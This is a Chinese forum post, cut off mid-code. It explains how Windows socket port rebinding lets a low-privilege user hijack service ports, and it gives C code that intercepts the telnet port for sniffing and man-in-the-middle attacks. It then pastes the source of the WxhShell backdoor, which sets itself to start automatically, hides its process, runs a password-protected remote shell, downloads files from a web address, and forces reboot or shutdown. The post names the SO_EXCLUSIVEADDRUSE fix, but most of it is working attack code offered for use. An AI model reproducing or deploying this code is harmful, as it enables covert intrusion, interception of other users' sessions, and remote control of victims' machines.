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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uA =%EEZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ND?"1/s  
G6>sAOf  
  saddr.sin_family = AF_INET; ,Js_d  
.j,xh )v"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); mMZrBz7r  
^J^~5q8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $4ZV(j]  
Ufi#y<dP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 kzUj)  
!~F oy F  
  这意味着什么?意味着可以进行如下的攻击: {U3jJ#K  
p}!)4EI=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lQ ki58.  
H*0g*(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [{xY3WS  
qgEzK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cC$YD]XdIA  
(d NF)(wn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e'G3\h}#  
]x8Y]wAU&{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T$r/XAs  
OraT$lV)_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 d@*dbECG  
O3slYd&V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 " @ ""  
V?^qW#AG  
  #include JF}i=}  
  #include /M]P&Zb |  
  #include J'=s25OWU  
  #include    !7#*Wdt+P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c"`HKfL  
  int main() j;j~R3B  
  { P*?2+.  
  WORD wVersionRequested; JDnWBEV  
  DWORD ret; u\xrC\Ka  
  WSADATA wsaData; MGw XZ7?E  
  BOOL val; 32J/   
  SOCKADDR_IN saddr; h;} fdk  
  SOCKADDR_IN scaddr; K|~ !oQ  
  int err; +dq2}gM  
  SOCKET s; +ZE"pA^C  
  SOCKET sc; 5c%Fb :BW=  
  int caddsize; 1T~`$zS7  
  HANDLE mt; {~EsO1p  
  DWORD tid;   l_ x jsu  
  wVersionRequested = MAKEWORD( 2, 2 ); *E|3Vy{4  
  err = WSAStartup( wVersionRequested, &wsaData ); Zmk 9C@  
  if ( err != 0 ) { ZS_  z  
  printf("error!WSAStartup failed!\n"); 9*n?V;E  
  return -1; 2Z^p)  
  } M6]:^;p'  
  saddr.sin_family = AF_INET; |N^8zo :  
   0!:%Ge_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V%M@zd?u.  
@WKJ7pt`'N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \)MzUOZn  
  saddr.sin_port = htons(23); vHPsHy7y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $Zrc-tkV  
  {  V2 ;?  
  printf("error!socket failed!\n"); }b<w\9AF  
  return -1; [*ug:PG  
  } `v/p4/  
  val = TRUE; H}usL)0&&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !*"#*)S.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YZ->ep}  
  { &"yoJ<L  
  printf("error!setsockopt failed!\n"); 5]3Mj*u\  
  return -1; `RE K,^U  
  } &y3;`A7,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _*t75e$-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 gHWsKE  %  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =| r% lx  
X4bZ4U*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) PP6gU=9[)  
  { Ob|tA  
  ret=GetLastError(); VW] ,R1q  
  printf("error!bind failed!\n"); &D7Mv5i0@  
  return -1; /5f=a  
  } _#<7s`i  
  listen(s,2); im mf\  
  while(1) sg<c1  
  {  |L  <  
  caddsize = sizeof(scaddr); BDi+ *8  
  //接受连接请求 ch/DBu  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); j'SGZnsy*  
  if(sc!=INVALID_SOCKET) # *7ImEN  
  { cw~-%%/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); GRgpy  
  if(mt==NULL) X&%;(`  
  { pf&SIG  
  printf("Thread Creat Failed!\n"); (%]M a  
  break; XE:bYzH  
  } 1L _(n  
  } 3pkx3tp{  
  CloseHandle(mt); S <++eu  
  } jXyK[q&O&  
  closesocket(s); *nY$YwHB  
  WSACleanup(); ","to  
  return 0; iB{l:  
  }   MBFn s/  
  DWORD WINAPI ClientThread(LPVOID lpParam) 69``j{Z+  
  { t)l^$j !h@  
  SOCKET ss = (SOCKET)lpParam; @p9YHLxLjQ  
  SOCKET sc; i uoZk5O  
  unsigned char buf[4096]; 9 E  
  SOCKADDR_IN saddr; ZX40-6#O  
  long num; n!?u/[@  
  DWORD val; P)06<n1">Z  
  DWORD ret; k= .pcDX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %uy?@e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t[bZg9;  
  saddr.sin_family = AF_INET; #Gu(h(Z s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [F^j(qTR  
  saddr.sin_port = htons(23); DcNwtts  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'n "n;  
  { >m`<AynJ  
  printf("error!socket failed!\n"); -Rr Qv(  
  return -1; A!_yZ|)$ T  
  } 'X1/tB8*  
  val = 100; *>7Zc  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c8qwsp  
  { <Lfo5:.  
  ret = GetLastError(); Qr*7bE(a  
  return -1; Jnq}SUev  
  } \yA*)X+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .^!uazPE0  
  { )gKX +'  
  ret = GetLastError(); 3rVWehCv  
  return -1; ,Zs*07!$f  
  } %9`\ 7h7K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Gq;!g(  
  { v\Xyz )  
  printf("error!socket connect failed!\n"); G:!'hadw  
  closesocket(sc); r>7Dg~)V  
  closesocket(ss); q `^5<  
  return -1; Q`(.Blgm;  
  } ]s^Pw>/`  
  while(1) HT=-mwa_]  
  { &s_)|K  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fk?(mxx"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @hIHvLpRB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]ZM-c~nL  
  num = recv(ss,buf,4096,0); #(Ezt% ^  
  if(num>0) v L!?4k  
  send(sc,buf,num,0); @N+6qO}  
  else if(num==0) CC{{@  
  break; s<fzk1LZ  
  num = recv(sc,buf,4096,0); q b7ur;  
  if(num>0) SW*Y u{  
  send(ss,buf,num,0); jij-pDQnv  
  else if(num==0) ?UV!^w@L:0  
  break; nM6/c  
  } \TTt!"aK  
  closesocket(ss); ""u>5f  
  closesocket(sc); 137:T:  
  return 0 ; bf-V Q7  
  } Q[.HoqWK  
$VyH2+ jC  
?D`h[ai  
========================================================== <B3$ODGJp  
/U =eB?>  
下边附上一个代码,,WXhSHELL )6 [d'2  
=hDFpb,mr  
========================================================== $g!~T!p=  
xO2CgqEb  
#include "stdafx.h" $kCLS7 *  
+LeM[XX  
#include <stdio.h> \?rBtD(  
#include <string.h> !Xf7RT  
#include <windows.h> !Au9C   
#include <winsock2.h> $3Srr*  
#include <winsvc.h> :ZP`Y%dt'  
#include <urlmon.h> ,CA3Q.y>|  
_vgFcE~E@  
#pragma comment (lib, "Ws2_32.lib") Or*e$uMIY  
#pragma comment (lib, "urlmon.lib") ; E]^7T  
~k[q:$T  
#define MAX_USER   100 // 最大客户端连接数 F1UTj "<e  
#define BUF_SOCK   200 // sock buffer 1feS/l$  
#define KEY_BUFF   255 // 输入 buffer f+iM_MI  
hAv.rjhw_  
#define REBOOT     0   // 重启 K\a=bA}DG  
#define SHUTDOWN   1   // 关机 $wx)/t<  
mhZ60RW  
#define DEF_PORT   5000 // 监听端口 v<c@bDZ>  
-^+!:0';  
#define REG_LEN     16   // 注册表键长度 ;&v~tD7  
#define SVC_LEN     80   // NT服务名长度 ^jxV  
$^;b 1bnO  
// 从dll定义API c[QXc9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?YTngIa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g<&n V>wF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vsL)E:0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \vQjTM-7  
C/L+gU&  
// wxhshell配置信息 Yf=Puy}q  
struct WSCFG { ;)nV  
  int ws_port;         // 监听端口 ]-b`uYb  
  char ws_passstr[REG_LEN]; // 口令 sq~9 l|F  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]~H\X":[>  
  char ws_regname[REG_LEN]; // 注册表键名 /degBL+  
  char ws_svcname[REG_LEN]; // 服务名 2Yt+[T*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~p0M|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  edv&!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2y0J~P!I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eAPNF?0yh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bb ]r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {+V]saYP  
2l#c?]TA  
}; RZg8y+jM  
Z:2a_A tm  
// default Wxhshell configuration 3r]:k) J  
struct WSCFG wscfg={DEF_PORT, Gec?  
    "xuhuanlingzhe", ][IEzeI_LN  
    1, BlrZ<\-/  
    "Wxhshell", ?Dr K2;q  
    "Wxhshell", 6 ?C|pO  
            "WxhShell Service", ".Q``d&X  
    "Wrsky Windows CmdShell Service", |\W9$V  
    "Please Input Your Password: ", (v'#~)R_`  
  1, RrG5`2  
  "http://www.wrsky.com/wxhshell.exe", (WISf}[l;  
  "Wxhshell.exe" | pA  
    }; PS=N]e7k'  
=5v=<, ]  
// 消息定义模块 @*VfG CQ(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H>qw@JiO!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $gv3Up"U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ac2,A>  
char *msg_ws_ext="\n\rExit."; @3Lh/&  
char *msg_ws_end="\n\rQuit."; qz@k-Jqq d  
char *msg_ws_boot="\n\rReboot..."; (1pR=  
char *msg_ws_poff="\n\rShutdown..."; Pd"=&Az|  
char *msg_ws_down="\n\rSave to "; M:9 6QM~  
7^2  
char *msg_ws_err="\n\rErr!"; a^ _ _Z3g,  
char *msg_ws_ok="\n\rOK!"; ?m(]@6qa  
s)L\D$;+O  
char ExeFile[MAX_PATH]; ZgzjRa++  
int nUser = 0; e@ mjh,  
HANDLE handles[MAX_USER]; bl8EzO  
int OsIsNt; dx&!RK+  
0eP ]  
SERVICE_STATUS       serviceStatus; U $2"ZyFii  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5vmc'Om  
_-M27^\vV  
// 函数声明 \|gE=5!Am=  
int Install(void); Ki,SFww8r  
int Uninstall(void); +}.~"  
int DownloadFile(char *sURL, SOCKET wsh); :< d.  
int Boot(int flag); ieL7jN,'m  
void HideProc(void); 2YbI."ob  
int GetOsVer(void); ev'` K=n8  
int Wxhshell(SOCKET wsl); 5{"v/nXV  
void TalkWithClient(void *cs); wqnHaWd*  
int CmdShell(SOCKET sock); H:k?#7D(  
int StartFromService(void); ~O c:b>~  
int StartWxhshell(LPSTR lpCmdLine); ^xt@  
$1E'0M`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^5D%)@~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rsaN<6#_^Q  
X3dXRDB'  
// 数据结构和表定义 ++=f7y u  
SERVICE_TABLE_ENTRY DispatchTable[] = $SOFq+-T  
{ x<'<E@jpU;  
{wscfg.ws_svcname, NTServiceMain}, sOyL  
{NULL, NULL} 8)o%0#;0B  
}; 0z =?}xr  
w:VD[\h  
// 自我安装 euyd(y$'k  
int Install(void) `w_%HVw>"  
{ GiK4LJ~cH)  
  char svExeFile[MAX_PATH]; Pxvf"SXX  
  HKEY key; _yRD*2 !;  
  strcpy(svExeFile,ExeFile); B6yTD7  
c<a)Yqf"]  
// 如果是win9x系统,修改注册表设为自启动 }WV}in0  
if(!OsIsNt) { z}a9%Fb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W5Uw=!LdEY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0g`$Dap  
  RegCloseKey(key); Ntt*}|:QV<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dJjkH6%}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !kS/Ei  
  RegCloseKey(key); /os,s[w  
  return 0; G`Df'Yy  
    } *N&~Uq^  
  } TYKs2+S6  
} bgYUsc*uR  
else { [Qqomm.[\w  
AGGT] 58|  
// 如果是NT以上系统,安装为系统服务 bn%4s[CVb4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ii&\LJ  
if (schSCManager!=0) 4q"4N2  
{ ,rS?^"h9  
  SC_HANDLE schService = CreateService , .E>  
  ( Rc vp@  
  schSCManager, VTa%  
  wscfg.ws_svcname,  :Y Ki  
  wscfg.ws_svcdisp, EO`eg]  
  SERVICE_ALL_ACCESS, !(HPx@_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bO` S Bq$  
  SERVICE_AUTO_START, v1rTl5H  
  SERVICE_ERROR_NORMAL, z d6F}2*6  
  svExeFile, s1]m^,  
  NULL, v!W{j&N  
  NULL, hv`I`[/J  
  NULL, FeZ*c~q  
  NULL, A5T&i]  
  NULL P1R5}i  
  ); Z(XohWe2  
  if (schService!=0) ?>Ngsp>-P  
  { M-Ek(K3SRf  
  CloseServiceHandle(schService); >xXC=z+g]  
  CloseServiceHandle(schSCManager); 4T-"\tmg/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uBl&{$<  
  strcat(svExeFile,wscfg.ws_svcname); U&ytZ7iB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { guG&3{&\s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TuEM  
  RegCloseKey(key); WvZt~x&2  
  return 0; Z9.0#Jnu  
    } :(\JY?+w   
  } ?N(<w?Gat  
  CloseServiceHandle(schSCManager); .1}1e;f-  
} 84!Hd.H  
} UiVGOQq  
d_Jj&:"l  
return 1; Z5 p [*LMO  
} h*R w^5,c  
{a__/I>)  
// 自我卸载 S:XsO9:{  
int Uninstall(void) 7 =D,D+f  
{  l5 ]  
  HKEY key; T%;V_iW-  
`{|w*)mD  
if(!OsIsNt) { L6ap |u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VEpcCK  
  RegDeleteValue(key,wscfg.ws_regname); tY>Zy1hlI  
  RegCloseKey(key); T(qTipq0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '#XT[\  
  RegDeleteValue(key,wscfg.ws_regname); 9a @rsyX  
  RegCloseKey(key); sopf-g:  
  return 0; @mJ~?d95v  
  } yM`u]p1  
}  \_  
} 9;'#,b*(  
else { IJ~j(.W  
|RXQ_|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _!E&%=f  
if (schSCManager!=0) )o<^6Ic%7  
{ KIcIYCBz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sPG500=)  
  if (schService!=0) qvLh7]sbK:  
  { yVgC1-8i*  
  if(DeleteService(schService)!=0) { T9I$6HAi  
  CloseServiceHandle(schService); ]BUirJ,2  
  CloseServiceHandle(schSCManager); eXMIRus(  
  return 0; =7JSJ98  
  } $C sE[+k1  
  CloseServiceHandle(schService); Rpv[rvK'  
  } 0-[naGz  
  CloseServiceHandle(schSCManager); Lg~C:BN F  
} 0QT:@v2R  
} Fuzb4Df  
\+#EO%sN1%  
return 1; S2e3d  
} _3:%b6&Pz  
]'"Sa<->  
// 从指定url下载文件 641P)  
int DownloadFile(char *sURL, SOCKET wsh) bU}v@Uk  
{ x\U[5d   
  HRESULT hr; "V(P)_  
char seps[]= "/"; K"x_=^,Yu*  
char *token; [@ev%x,  
char *file; 8>t,n,k  
char myURL[MAX_PATH]; /OWwC%tM/  
char myFILE[MAX_PATH]; xnt)1Q  
;Y[D#Ja-  
strcpy(myURL,sURL); ^~.AV]t|  
  token=strtok(myURL,seps); lOp. c U  
  while(token!=NULL) [{Jo(X  
  { :-5[0Mx=  
    file=token; W;yc)JB   
  token=strtok(NULL,seps); Eamt_/LKf  
  } lKw-C[  
6^WNwe\  
GetCurrentDirectory(MAX_PATH,myFILE); bY2R/FNL=  
strcat(myFILE, "\\"); 3i7EF.  
strcat(myFILE, file); w;gk=<_  
  send(wsh,myFILE,strlen(myFILE),0); s*[ I"iE  
send(wsh,"...",3,0); .whi0~i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uE41"?GS  
  if(hr==S_OK) In^mE(8YO  
return 0; >7PQOQMW'  
else MzX&|wimb  
return 1; =T,Q7Dh  
9-/q-,  
} aTTkj\4  
RARA_tii  
// 系统电源模块 50QDqC-]XS  
int Boot(int flag) ,puoq {  
{ 5, ,~k=  
  HANDLE hToken; -R]0cefC<f  
  TOKEN_PRIVILEGES tkp; E<Zf!!3  
yAryw{(  
  if(OsIsNt) { 953qz]Q8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m~5 unB9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &F uPd}F  
    tkp.PrivilegeCount = 1; a1~|?PCbY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9gcW;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XZb=;tYo  
if(flag==REBOOT) { ["<Xh0_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {#qUZ z-  
  return 0; zPa2fS8  
} ~c35Y9-5  
else { JI[8n$pr]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8&G9 ?n`I5  
  return 0; 9L:wfg}8s  
} 'EiCT l  
  } L@{'J  
  else { s|e.mZk/  
if(flag==REBOOT) { ud  r\\5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;[}OZt  
  return 0; &T,|?0>~=J  
} ZOEe-XW  
else { X$>F78e*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \R<MQ# x  
  return 0; f?UI+TU  
} k9}8xpH  
} %=UD~5!G0  
BA c+T  
return 1; KMj\A d  
} }#FV{C]  
wuH*a3(  
// win9x进程隐藏模块 x vs=T  
void HideProc(void) .jCGtR )%  
{ X[o+Y@bc  
!0,q[|m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Wlhh0uy  
  if ( hKernel != NULL ) >K9Ia4I,  
  { fEZuv?@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >J7slDRo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FMVAXOO  
    FreeLibrary(hKernel); lV$JCNe  
  } Z< i }XCE  
jw:z2:0~  
return; S[zvR9AW&  
} $H@SXx  
0F|t@?S  
// 获取操作系统版本 B>fZH \Y  
int GetOsVer(void) y0d=  
{ eA4D.7HDK  
  OSVERSIONINFO winfo; ,m=G9QcN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EB[T 5{  
  GetVersionEx(&winfo); N(7 XILC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z\nDR|3  
  return 1; {$^'oRk  
  else ?P'$Vxl  
  return 0; <l<O2l  
} ]I\GnDJ^  
=P(*j7=  
// 客户端句柄模块 f!x9%  
int Wxhshell(SOCKET wsl) Z~J]I|R:  
{ +Uq|Yh'Q  
  SOCKET wsh; qq5X3K2&  
  struct sockaddr_in client; #d@wjQ0DW  
  DWORD myID; 2<@2_wSJ  
f;{Q ~  
  while(nUser<MAX_USER) 1CB&z@  
{ 3+6Ed;P  
  int nSize=sizeof(client); 1p}Wj*mc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l{[@Ahb}?  
  if(wsh==INVALID_SOCKET) return 1; '0HOL)cIz  
=Wcvb?;*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }p~2lOI  
if(handles[nUser]==0) oPKLr31zt  
  closesocket(wsh); p3M!H2W  
else j9+4},>>CU  
  nUser++; B->AY.&j  
  } 4C*ywP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KnG7w^  
} k2 Q  
  return 0; Vf cIR(  
} LCB-ewy#E  
q/ljH_-  
// 关闭 socket q_b!+Y  
void CloseIt(SOCKET wsh) O <Rh[Aqn  
{ `==l 2AX  
closesocket(wsh); XO <0;9|  
nUser--; h5P_kZJ  
ExitThread(0); ;XN|dq  
} K7RAmX  
gQeQy  
// 客户端请求句柄 8<L{\$3HP|  
void TalkWithClient(void *cs) /JR+WmO  
{ 5NhFjPETr  
j*.;6}\o  
  SOCKET wsh=(SOCKET)cs; a}UmD HS-  
  char pwd[SVC_LEN]; Jy(G A  
  char cmd[KEY_BUFF]; GL n M1  
char chr[1]; P{o)Ir8Tt  
int i,j; (tg.]q_=u  
0-Mzb{n5  
  while (nUser < MAX_USER) { '9}&@;-_  
i7#4&r  
if(wscfg.ws_passstr) { DPI[~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B\Nbt!Ps  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '7?Y+R@|L  
  //ZeroMemory(pwd,KEY_BUFF); x%EGxs;>^  
      i=0; =~;~hZj  
  while(i<SVC_LEN) { .a@12J(I  
V%8(zt  
  // 设置超时 mUg :<.^  
  fd_set FdRead; ^%7(  
  struct timeval TimeOut; ]rv\sD`[  
  FD_ZERO(&FdRead); ! 6(3Y  
  FD_SET(wsh,&FdRead); Vm%G q  
  TimeOut.tv_sec=8; ~F,~^r!Jtu  
  TimeOut.tv_usec=0; aKj|gwo!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b? ); D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]RT  
s 47R,K$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wKM9fs  
  pwd=chr[0]; =|?`5!A  
  if(chr[0]==0xd || chr[0]==0xa) { gzs \C{4D  
  pwd=0; b?}mQ!  
  break; 0+CcNY9  
  } 7"(Zpu  
  i++; `>sOOA  
    } &>\;4E.O5  
*V2;ds.~  
  // 如果是非法用户,关闭 socket 1/97_:M0~F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?06gu1z/  
} 5Y *4a%"  
6|eqQ+(A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a`' >VCg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ozRO:*51  
+YvF+E  
while(1) { #tV1?q  
M/W"M9u  
  ZeroMemory(cmd,KEY_BUFF); =o 9s?vOJ  
=dAAb\:  
      // 自动支持客户端 telnet标准   7p1Y g  
  j=0; 'FXM7D   
  while(j<KEY_BUFF) { jYVs\h6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H7+"BWc  
  cmd[j]=chr[0]; aF 2vgE\  
  if(chr[0]==0xa || chr[0]==0xd) { lx+;<la  
  cmd[j]=0; H,% bKl#  
  break; ;oOTL'Vu  
  } 4t[7lL`Z  
  j++; U6&`s%mIa  
    } yI^Yh{  
j=O+U _w  
  // 下载文件 T1d@=&0"  
  if(strstr(cmd,"http://")) {  Fe!MA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !)]/?&uo  
  if(DownloadFile(cmd,wsh)) n#P>E( K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9)VAEyv  
  else G=cRdiy`C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t<v.rb  
  } UVw^t+n  
  else { E*YmHJ:k  
B=cA$620  
    switch(cmd[0]) { Ic0Sb7c  
  /GgID!8  
  // 帮助 '7'/+G'~&  
  case '?': { jF?0,g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \ *t\=4  
    break; DSLX/u o1  
  } 5sJ>+Rg  
  // 安装 Y(Qb)>K  
  case 'i': { S(PV*e8  
    if(Install()) J@-'IJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )]fiyXA  
    else -YQh F;/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 77M!2S_E  
    break; |qX ?F`  
    } a[K&;)  
  // 卸载 L/u|90) L  
  case 'r': { +ay C 0  
    if(Uninstall()) LaJvPOQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J&aN6l?  
    else V48_aL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? $/::uo  
    break; qArR5OJ  
    } ZjxF@`H  
  // 显示 wxhshell 所在路径 je mb/ :E  
  case 'p': { 5ngs1ZF@  
    char svExeFile[MAX_PATH]; .eN"s'  
    strcpy(svExeFile,"\n\r"); ={B C0,  
      strcat(svExeFile,ExeFile); i*|HN"!  
        send(wsh,svExeFile,strlen(svExeFile),0); @|:fm() <  
    break; 8|Tqk,/pD  
    } :gsRJy1  
  // 重启 |mH* I  
  case 'b': { (1CP]5W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5~h )pt47  
    if(Boot(REBOOT)) kqeEm {I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c^w^'<  
    else { 4pL'c@'  
    closesocket(wsh); :P-H8*n""  
    ExitThread(0); U '{PpZ  
    } &0T.o,&y  
    break; x@Gg fH<l  
    } M5 VW1Ns  
  // 关机 ^KbR@Ah  
  case 'd': { Vs"b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9fX0?POG  
    if(Boot(SHUTDOWN)) ZRjM^ d;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aA?Qr&]M  
